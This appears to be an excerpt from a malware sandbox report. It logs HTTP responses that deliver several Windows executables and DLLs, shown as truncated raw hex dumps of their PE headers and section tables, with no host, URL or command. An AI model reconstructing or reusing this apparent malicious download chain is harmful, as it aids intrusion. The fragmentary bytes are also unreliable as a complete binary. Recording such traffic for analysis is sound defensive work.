d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:48 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:49 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:49 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:50 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:50 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:50 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:58 GMTContent-Type: application/octet-streamContent-Length: 328744Last-Modified: Thu, 29 Aug 2024 19:35:43 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd8f-50428"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 d1 04 00 00 20 00 00 00 d2 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 05 00 00 08 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 f1 04 00 00 00 00 00 48 00 00 00 02 00 05 00 78 df 04 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 8a 02 61 81 e9 db 99 1d 0e 63 3f cc 36 14 88 55 d0 9b 43 4d 66 27 08 3c a8 73 14 6f 6f 98 a0 3c 43 da b5 71 92 77 4e bc 65 c8 ce 69 ed ef 13 65 34 2b 84 99 cd d1 9d 8e 01 83 ff ce 16 1f 52 c6 9c dd 31 62 72 85 b0 bb 49 55 55 3c 12 4e 02 ea 19 7c 63 b1 56 47 48 ed ee e1 24 89 26 7e ac 2b a5 e4 c7 83 90 3c 33 38 f5 a4 b3 7f 74 52 5d 42 8c 7a de 34 2d 6f 43 ed 7b a7 82 18 ee e0 1b 7b 39 96 ad e7 78 30 77 ea 95 49 37 ca 5f a9 3b 21 27 71 ac d8 55 8b a8 ca 3f 82 60 bb ee 2f de 2b 2c 50 cf 82 4d 8f e5 bc 09 8c f1 1b 38 94 b6 7d fb 33 6a ca 9c 24 ce 59 3d 32 c8 dd a7 a7 29 b1 57 d1 5d 0f 74 2a 5a f1 bc 3e d2 ff 67 32 01 69 2d cf ba b6 0c f2 e1 87 49 0b eb 95 5b eb 8d 77 0b 05 1c b9 9d 75 c3 e1 d5 03 c9 c5 07 c9 fa ce 68 a4 8e 61 c5 33 d0 51 2a c4 ec 0c 98 79 d5 05 b1 c8 e9 e9 0e 3d 63 32 b0 84 6e ab 08 ef a4 99 05 8b c8 51 d5 4a 3e f8 aa 03 3d ce 8d 66 bd 18 77 1b e3 45 2d 60 fa 80 01 ce 2f aa 06 f
